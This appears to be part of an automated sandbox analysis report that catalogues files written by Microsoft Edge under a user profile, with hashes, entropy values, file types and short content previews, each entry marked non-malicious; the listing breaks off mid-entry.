Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.21798259204201
Encrypted:	false
SSDEEP:	12:g0clROv4YebvqBQFUt87E/+7I5LYebvqBvJ:mLM4YebvZg8ALYebvk
MD5:	EF948A6258DAFA9F1ECB3EBAA6231470
SHA1:	947634588F1F52F86B95642DD06CC7D069A68843
SHA-256:	871CBB90CFA994691A5B3850DA039C4A218B7CAFF9DA53EEAF84FCC82C3C7FF3
SHA-512:	BA52127AFFB75852FD15297EC1545AA093A8EFAF91239BC6FACEC5F2F6D3A789D9F416BCADF666BDD66239F7AB1718E4B61BE192D9AEABAE4B838E8A7AF47DB3
Malicious:	false
Preview:	2024/11/25-10:21:26.499 1c94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-10:21:26.500 1c94 Recovering log #3.2024/11/25-10:21:26.504 1c94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.21798259204201
Encrypted:	false
SSDEEP:	12:g0clROv4YebvqBQFUt87E/+7I5LYebvqBvJ:mLM4YebvZg8ALYebvk
MD5:	EF948A6258DAFA9F1ECB3EBAA6231470
SHA1:	947634588F1F52F86B95642DD06CC7D069A68843
SHA-256:	871CBB90CFA994691A5B3850DA039C4A218B7CAFF9DA53EEAF84FCC82C3C7FF3
SHA-512:	BA52127AFFB75852FD15297EC1545AA093A8EFAF91239BC6FACEC5F2F6D3A789D9F416BCADF666BDD66239F7AB1718E4B61BE192D9AEABAE4B838E8A7AF47DB3
Malicious:	false
Preview:	2024/11/25-10:21:26.499 1c94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-10:21:26.500 1c94 Recovering log #3.2024/11/25-10:21:26.504 1c94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a569.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a96fb735-9d0d-4fd9-bb80-9191fc683357.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bfa61162-7add-4d1b-871e-8ac8a66e081f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e7cc5def-f49c-4856-8281-b82bc9ca9bd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fe01c95b-1221-403d-8b13-005e0f743cb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.245489081747009
Encrypted:	false
SSDEEP:	12:g+ZpM+v4YebvqBZFUt87+4m/+7+XjMV5LYebvqBaJ:bd4Yebvyg89u2LYebvL
MD5:	EE643EEA8B0B35AEA323A9945AF998E2
SHA1:	7D666619161ABC9F6DB8FF38F07DA16439CD8674
SHA-256:	D506C33188946DF61BE3CDF975A5977A5B5D3C1CFC470EBC41304354A87A95E9
SHA-512:	16EF45F484B6C6141E4A68F675A9336AF3DD293D7FDD967FEF2A2F22DCA5AD5C71979A1139DEFD917A201E0A4A261F9B63B38F5B5EF63971A1B8F88B9BFBBD9D
Malicious:	false
Preview:	2024/11/25-10:21:44.672 148c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-10:21:44.673 148c Recovering log #3.2024/11/25-10:21:44.676 148c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.245489081747009
Encrypted:	false
SSDEEP:	12:g+ZpM+v4YebvqBZFUt87+4m/+7+XjMV5LYebvqBaJ:bd4Yebvyg89u2LYebvL
MD5:	EE643EEA8B0B35AEA323A9945AF998E2
SHA1:	7D666619161ABC9F6DB8FF38F07DA16439CD8674
SHA-256:	D506C33188946DF61BE3CDF975A5977A5B5D3C1CFC470EBC41304354A87A95E9
SHA-512:	16EF45F484B6C6141E4A68F675A9336AF3DD293D7FDD967FEF2A2F22DCA5AD5C71979A1139DEFD917A201E0A4A261F9B63B38F5B5EF63971A1B8F88B9BFBBD9D
Malicious:	false
Preview:	2024/11/25-10:21:44.672 148c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-10:21:44.673 148c Recovering log #3.2024/11/25-10:21:44.676 148c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153238686165656
Encrypted:	false
SSDEEP:	6:HApOsIq2P923oH+TcwtpIFUt8YApOsZZmw+YAplpPkwO923oH+Tcwta/WLJ:gEsIv4YebmFUt87EsZ/+795LYebaUJ
MD5:	E07D727BB4236DA52C413A0FF7E69387
SHA1:	349F3599E1F32923106AF357657CCA395F7FEE61
SHA-256:	5A5385070E77123B41950B3BCC2C4AA951DA94E02E9F233FADD19A728EB1E81E
SHA-512:	305A3187BBBBDEE24484EB80F344F18DAC56EDDD9F41383753BC6878CEC6DEC5EDAE54F03A8F18F36D484426471FDA33B424201591C11471EC0F049E47208E09
Malicious:	false
Preview:	2024/11/25-10:21:25.702 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-10:21:25.702 1e54 Recovering log #3.2024/11/25-10:21:25.816 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153238686165656
Encrypted:	false
SSDEEP:	6:HApOsIq2P923oH+TcwtpIFUt8YApOsZZmw+YAplpPkwO923oH+Tcwta/WLJ:gEsIv4YebmFUt87EsZ/+795LYebaUJ
MD5:	E07D727BB4236DA52C413A0FF7E69387
SHA1:	349F3599E1F32923106AF357657CCA395F7FEE61
SHA-256:	5A5385070E77123B41950B3BCC2C4AA951DA94E02E9F233FADD19A728EB1E81E
SHA-512:	305A3187BBBBDEE24484EB80F344F18DAC56EDDD9F41383753BC6878CEC6DEC5EDAE54F03A8F18F36D484426471FDA33B424201591C11471EC0F049E47208E09
Malicious:	false
Preview:	2024/11/25-10:21:25.702 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-10:21:25.702 1e54 Recovering log #3.2024/11/25-10:21:25.816 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651239100734286
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM3SAELyKOMq+8yC8F/YfU5m+OlTLVumG:Bq+n0J39ELyKOMq+8y9/Ow1
MD5:	3049900F0D128318080C417C2FD44A5B
SHA1:	890310D770A9D735A0F86AB4D395D806B21E38E9
SHA-256:	F0C070D8C27E599C3698483BED36BFAF52425F3A164823C887996A462DDF3446
SHA-512:	136C23425FFF697462CFE9212887E25E9DB621BF6FE14DA24854FC99E6E006F86D52B543F242D0CC6330479F279D87B6FF6509C970FBC8497CA31D5C5896B7B5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46621948806464364
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB000A:v7doKsKuKZKlZNmu46yjx0S
MD5:	ED3C8A1A4C132FA5D620FD71BEF69DCE
SHA1:	42201D1DF7BDA3054D14DCDEB663D968C1C5EA6B
SHA-256:	58F0FE7FBE088858AF0D18AB0D792E127C528A7C3DB3827EE7BF911BE0420F68
SHA-512:	9E4BE0FD8E6F013A5A6BF9A4651AB26A8BF7D99ECF8C04365A97E4F6176AEAF2E47B035527453CC1ED2574745B619EE865619D76443053AABCCA1ECA12012795
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\abbc35c9-1671-43b5-9d96-757514ee5f59.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17586), with no line terminators
Category:	dropped
Size (bytes):	17588
Entropy (8bit):	5.487781664983874
Encrypted:	false
SSDEEP:	384:stvPGQSu4vsaudEfhxCiWRRGcXJX2l9SfMRbGrQwC6WDlaTYp:sdOXuasEf+1Zm1bGENNaTYp
MD5:	B32BC3B3BBD726DDDAA3AA67D4782BE1
SHA1:	FB4DC0D1C9371E21AFC5B8EAC968609B0149835E
SHA-256:	830EF7F374BA066A94F23A0E62377F82068385366DD6CED9C095A5C6DB32F63D
SHA-512:	EFA0F3EFF78F844E5BF936D8688CDC95A6408D1C4D740AD64538D940579E89B9A046810A9CC1AA631122D44A5575FD6A52A032CD34895610093DC2579C08CCC2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b6cf762a-3a7b-4e5d-9e8e-028078900504.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561154318676276
Encrypted:	false
SSDEEP:	768:GhxqLx7pLGLP+EWPVpfEI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSi3IQLxrwwcNSx:GhxqLncP+EWPVpfEIu1jaXi37LCwcNPM
MD5:	EDB30AEE9835E12A187BBB557D78E36B
SHA1:	A43A2A8FCE022C55E0579CE59D324A2424B0AFDB
SHA-256:	633A189B4411E0038587DA95740B957B3B62159754B860E8CA21EE862DBFF882
SHA-512:	6D86189343C62C6BA9FCA71017C8588308AFFA45B488BCF5B93C4E2021ACBB3E49F7749F0EF7DD4B22A7595762546A55A2B321422D303E2DE2D986FA41B6B815
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377021685701732","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377021685701732","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f304cff2-6261-4ccd-9114-55cb5637b9df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9818
Entropy (8bit):	5.11463099959972
Encrypted:	false
SSDEEP:	192:stvkdpk+saudEsZihUkIt38WbV+FW8QA66WGaFIMY8PLYJ:stvQvsaudEfhqbGrQx6WGaTYp
MD5:	C70439827D55B1A74BD2A4A03D92F4FA
SHA1:	A4738AC7491507A6E1CE83192EBE7AB4EEFA0E34
SHA-256:	C38F00DDBAAE2B92586E53766B53C23D830218F618C1D0819716C354FB89254C
